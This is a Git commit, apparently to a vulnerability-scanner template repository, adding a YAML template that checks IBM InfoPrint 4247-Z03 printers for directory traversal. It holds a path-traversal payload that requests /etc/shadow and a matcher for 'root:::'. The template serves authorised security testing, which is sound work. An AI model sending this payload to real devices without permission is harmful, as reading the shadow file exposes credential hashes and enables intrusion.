Merge pull request #218 from harsh-bothra/patch-9

Create ibm-infoprint-directory-traversal
patch-1
bauthard 2020-07-08 15:22:00 +05:30 committed by GitHub
commit 507dfb782a
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
1 changed files with 22 additions and 0 deletions

View File

@ -0,0 +1,22 @@
id: IBM InfoPrint Directory Traversal
info:
name: IBM InfoPrint 4247-Z03 Impact Matrix Printer - Directory Traversal
author: Harsh Bothra
severity: Medium
# source:- https://www.exploit-db.com/exploits/47835
requests:
- method: GET
path:
- '{{BaseURL}}/./../../../../../../../../../../etc/shadow'
matchers-condition: and
matchers:
- type: status
status:
- 200
- type: word
words:
- "root:::"